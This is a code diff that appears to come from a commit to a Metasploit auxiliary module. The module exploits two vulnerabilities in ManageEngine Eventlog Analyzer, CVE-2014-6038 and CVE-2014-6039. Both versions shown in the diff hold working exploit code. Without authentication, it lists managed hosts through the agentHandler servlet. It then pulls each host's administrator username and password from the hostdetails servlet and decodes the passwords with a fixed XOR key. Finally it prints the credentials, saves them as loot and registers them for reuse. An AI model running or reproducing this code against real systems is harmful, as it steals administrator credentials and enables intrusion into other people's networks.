@@ -15,13 +15,13 @@ def initialize(info = {})
15
15
super ( update_info ( info ,
16
16
'Name' => 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credential Disclosure' ,
17
17
'Description' => %q{
18
- ManageEngine Eventlog Analyzer from v7 to v9.9 b9002 has two security vulnerabilities that allow
19
- an unauthenticated user to obtain the superuser password of any managed Windows and AS/400 hosts.
20
- This module abuses both vulnerabilities to collect all the available usernames and passwords.
21
- First the agentHandler servlet is abused to get the hostid and slid of each device (CVE-2014-6038);
22
- then these numeric id's are used to extract usernames and passwords by abusing the hostdetails
23
- servlet (CVE-2014-6039).
24
- Note that on version 7 the TARGETURI has to be prepended with /event.
18
+ ManageEngine Eventlog Analyzer from v7 to v9.9 b9002 has two security vulnerabilities that
19
+ allow an unauthenticated user to obtain the superuser password of any managed Windows and
20
+ AS/400 hosts. This module abuses both vulnerabilities to collect all the available
21
+ usernames and passwords. First the agentHandler servlet is abused to get the hostid and
22
+ slid of each device (CVE-2014-6038); then these numeric id's are used to extract usernames
23
+ and passwords by abusing the hostdetails servlet (CVE-2014-6039). Note that on version 7
24
+ the TARGETURI has to be prepended with /event.
25
25
} ,
26
26
'Author' =>
27
27
[
@@ -41,16 +41,15 @@ def initialize(info = {})
41
41
42
42
register_options (
43
43
[
44
- OptPort . new ( 'RPORT' ,
45
- [ true , 'The target port' , 8400 ] ) ,
46
- OptString . new ( 'TARGETURI' , [ true , "Eventlog Analyzer application URI (should be /event for version 7)" , '/' ] ) ,
44
+ Opt ::RPORT ( 8400 ) ,
45
+ OptString . new ( 'TARGETURI' , [ true , 'Eventlog Analyzer application URI (should be /event for version 7)' , '/' ] ) ,
47
46
] , self . class )
48
47
end
49
48
50
49
51
50
def decode_password ( encoded_password )
52
51
password_xor = Rex ::Text . decode_base64 ( encoded_password )
53
- password = ""
52
+ password = ''
54
53
password_xor . bytes . each do |byte |
55
54
password << ( byte ^ 0x30 )
56
55
end
@@ -60,132 +59,142 @@ def decode_password(encoded_password)
60
59
61
60
def run
62
61
res = send_request_cgi ( {
63
- 'uri' => normalize_uri ( target_uri . path , " agentHandler" ) ,
62
+ 'uri' => normalize_uri ( target_uri . path , ' agentHandler' ) ,
64
63
'method' => 'GET' ,
65
64
'vars_get' => {
66
65
'mode' => 'getTableData' ,
67
66
'table' => 'HostDetails'
68
67
}
69
68
} )
70
69
71
- if res && res . code == 200
72
- # When passwords have digits the XML parsing will fail.
73
- # Replace with an empty password attribute so that we know the device has a password
74
- # and therefore we want to add it to our host list.
75
- xml = res . body . to_s . gsub ( /&#[0-9]*;/ , Rex ::Text . rand_text_alpha ( 6 ) )
76
- begin
77
- doc = REXML ::Document . new ( xml )
78
- rescue
79
- fail_with ( Failure ::Unknown , "#{ peer } - Error parsing the XML, dumping output #{ xml } " )
70
+ unless res && res . code == 200
71
+ fail_with ( Failure ::NotFound , "#{ peer } - Failed to reach agentHandler servlet" )
72
+ return
73
+ end
74
+
75
+ # When passwords have digits the XML parsing will fail.
76
+ # Replace with an empty password attribute so that we know the device has a password
77
+ # and therefore we want to add it to our host list.
78
+ xml = res . body . to_s . gsub ( /&#[0-9]*;/ , Rex ::Text . rand_text_alpha ( 6 ) )
79
+ begin
80
+ doc = REXML ::Document . new ( xml )
81
+ rescue
82
+ fail_with ( Failure ::Unknown , "#{ peer } - Error parsing the XML, dumping output #{ xml } " )
83
+ end
84
+
85
+ slid_host_ary = [ ]
86
+ doc . elements . each ( 'Details/HostDetails' ) do |ele |
87
+ if ele . attributes [ 'password' ]
88
+ # If an element doesn't have a password, then we don't care about it.
89
+ # Otherwise store the slid and host_id to use later.
90
+ slid_host_ary << [ ele . attributes [ 'slid' ] , ele . attributes [ 'host_id' ] ]
80
91
end
81
- slid_host_ary = [ ]
82
- doc . elements . each ( 'Details/HostDetails' ) do |ele |
83
- if ele . attributes [ "password" ] != nil
84
- # If an element doesn't have a password, then we don't care about it.
85
- # Otherwise store the slid and host_id to use later.
86
- slid_host_ary << [ ele . attributes [ "slid" ] , ele . attributes [ "host_id" ] ]
87
- end
92
+ end
93
+
94
+ cred_table = Rex ::Ui ::Text ::Table . new (
95
+ 'Header' => 'ManageEngine EventLog Analyzer Managed Devices Credentials' ,
96
+ 'Indent' => 1 ,
97
+ 'Columns' =>
98
+ [
99
+ 'Host' ,
100
+ 'Type' ,
101
+ 'SubType' ,
102
+ 'Domain' ,
103
+ 'Username' ,
104
+ 'Password' ,
105
+ ]
106
+ )
107
+
108
+ slid_host_ary . each do |host |
109
+ res = send_request_cgi ( {
110
+ 'uri' => normalize_uri ( target_uri . path , 'hostdetails' ) ,
111
+ 'method' => 'GET' ,
112
+ 'vars_get' => {
113
+ 'slid' => host [ 0 ] ,
114
+ 'hostid' => host [ 1 ]
115
+ }
116
+ } )
117
+
118
+ unless res && res . code == 200
119
+ fail_with ( Failure ::NotFound , "#{ peer } - Failed to reach hostdetails servlet" )
88
120
end
89
121
90
- cred_table = Rex ::Ui ::Text ::Table . new (
91
- 'Header' => 'ManageEngine EventLog Analyzer Managed Devices Credentials' ,
92
- 'Indent' => 1 ,
93
- 'Columns' =>
94
- [
95
- 'Host' ,
96
- 'Type' ,
97
- 'SubType' ,
98
- 'Domain' ,
99
- 'Username' ,
100
- 'Password' ,
101
- ]
102
- )
103
-
104
- slid_host_ary . each do |host |
105
- res = send_request_cgi ( {
106
- 'uri' => normalize_uri ( target_uri . path , "hostdetails" ) ,
107
- 'method' => 'GET' ,
108
- 'vars_get' => {
109
- 'slid' => host [ 0 ] ,
110
- 'hostid' => host [ 1 ]
111
- }
112
- } )
122
+ begin
123
+ doc = REXML ::Document . new ( res . body )
124
+ rescue
125
+ fail_with ( Failure ::Unknown , "#{ peer } - Error parsing the XML, dumping output #{ res . body . to_s } " )
126
+ end
113
127
114
- if res && res . code == 200
115
- begin
116
- doc = REXML ::Document . new ( res . body )
117
- rescue
118
- fail_with ( Failure ::Unknown , "#{ peer } - Error parsing the XML, dumping output #{ res . body . to_s } " )
128
+ doc . elements . each ( 'Details/Hosts' ) do |ele |
129
+ # Add an empty string if a variable doesn't exist, we have to check it
130
+ # somewhere and it's easier to do it here.
131
+ host_ipaddress = ele . attributes [ 'host_ipaddress' ] || ''
132
+
133
+ ele . elements . each ( 'HostDetails' ) do |details |
134
+ domain_name = details . attributes [ 'domain_name' ] || ''
135
+ username = details . attributes [ 'username' ] || ''
136
+ password_encoded = details . attributes [ 'password' ] || ''
137
+ password = decode_password ( password_encoded )
138
+ type = details . attributes [ 'type' ] || ''
139
+ subtype = details . attributes [ 'subtype' ] || ''
140
+
141
+ unless type =~ /Windows/ || subtype =~ /Windows/
142
+ # With AS/400 we get some garbage in the domain name even though it doesn't exist
143
+ domain_name = ""
119
144
end
120
- doc . elements . each ( 'Details/Hosts' ) do |ele |
121
- # Add an empty string if a variable doesn't exist, we have to check it
122
- # somewhere and it's easier to do it here.
123
- dns_name = ( ele . attributes [ "dns_name" ] != nil ? ele . attributes [ "dns_name" ] : "" )
124
- host_ipaddress = ( ele . attributes [ "host_ipaddress" ] != nil ? ele . attributes [ "host_ipaddress" ] : "" )
125
-
126
- ele . elements . each ( 'HostDetails' ) do |details |
127
- domain_name = ( details . attributes [ "domain_name" ] != nil ? details . attributes [ "domain_name" ] : "" )
128
- username = ( details . attributes [ "username" ] != nil ? details . attributes [ "username" ] : "" )
129
- password_encoded = ( details . attributes [ "password" ] != nil ? details . attributes [ "password" ] : "" )
130
- password = decode_password ( password_encoded )
131
- type = ( details . attributes [ "type" ] != nil ? details . attributes [ "type" ] : "" )
132
- subtype = ( details . attributes [ "subtype" ] != nil ? details . attributes [ "subtype" ] : "" )
133
-
134
- if not ( type =~ /Windows/ or subtype =~ /Windows/ )
135
- # With AS/400 we get some garbage in the domain name even though it doesn't exist
136
- domain_name = ""
137
- end
138
-
139
- msg = "Got login to #{ host_ipaddress } | running "
140
- msg << type << ( subtype != "" ? " | #{ subtype } " : "" )
141
- msg << " | username: "
142
- msg << ( domain_name != "" ? "#{ domain_name } \\ #{ username } " : username )
143
- msg << " | password: #{ password } "
144
- print_good ( msg )
145
-
146
- cred_table << [ host_ipaddress , type , subtype , domain_name , username , password ]
147
-
148
- credential_core = report_credential_core ( {
149
- password : password ,
150
- username : username ,
151
- } )
152
-
153
- begin
154
- host_login_data = {
155
- address : host_ipaddress ,
156
- service_name : type ,
157
- workspace_id : myworkspace_id ,
158
- protocol : 'tcp' ,
159
- port : 0 , # can be any port, so just set to 0 else the cred api screams
160
- core : credential_core ,
161
- status : Metasploit ::Model ::Login ::Status ::UNTRIED
162
- }
163
- create_credential_login ( host_login_data )
164
- end
165
- end
145
+
146
+ msg = "Got login to #{ host_ipaddress } | running "
147
+ msg << type << ( subtype != '' ? " | #{ subtype } " : '' )
148
+ msg << ' | username: '
149
+ msg << ( domain_name != '' ? "#{ domain_name } \\ #{ username } " : username )
150
+ msg << " | password: #{ password } "
151
+ print_good ( msg )
152
+
153
+ cred_table << [ host_ipaddress , type , subtype , domain_name , username , password ]
154
+
155
+ if type == 'Windows'
156
+ service_name = 'epmap'
157
+ port = 135
158
+ elsif type == 'IBM AS/400'
159
+ service_name = 'as-servermap'
160
+ port = 449
161
+ else
162
+ next
166
163
end
167
- else
168
- print_error ( "#{ peer } - Failed to reach hostdetails servlet" )
164
+
165
+ credential_core = report_credential_core ( {
166
+ password : password ,
167
+ username : username ,
168
+ } )
169
+
170
+ host_login_data = {
171
+ address : host_ipaddress ,
172
+ service_name : service_name ,
173
+ workspace_id : myworkspace_id ,
174
+ protocol : 'tcp' ,
175
+ port : port ,
176
+ core : credential_core ,
177
+ status : Metasploit ::Model ::Login ::Status ::UNTRIED
178
+ }
179
+ create_credential_login ( host_login_data )
169
180
end
170
181
end
171
-
172
- print_line
173
- print_line ( "#{ cred_table } " )
174
- loot_name = 'manageengine.eventlog.managed_hosts.creds'
175
- loot_type = 'text/csv'
176
- loot_filename = 'manageengine_eventlog_managed_hosts_creds.csv'
177
- loot_desc = 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credentials'
178
- p = store_loot (
179
- loot_name ,
180
- loot_type ,
181
- rhost ,
182
- cred_table . to_csv ,
183
- loot_filename ,
184
- loot_desc )
185
- print_status "Credentials saved in: #{ p } "
186
- else
187
- print_error ( "#{ peer } - Failed to reach agentHandler servlet" )
188
182
end
183
+
184
+ print_line
185
+ print_line ( "#{ cred_table } " )
186
+ loot_name = 'manageengine.eventlog.managed_hosts.creds'
187
+ loot_type = 'text/csv'
188
+ loot_filename = 'manageengine_eventlog_managed_hosts_creds.csv'
189
+ loot_desc = 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credentials'
190
+ p = store_loot (
191
+ loot_name ,
192
+ loot_type ,
193
+ rhost ,
194
+ cred_table . to_csv ,
195
+ loot_filename ,
196
+ loot_desc )
197
+ print_status "Credentials saved in: #{ p } "
189
198
end
190
199
191
200
0 commit comments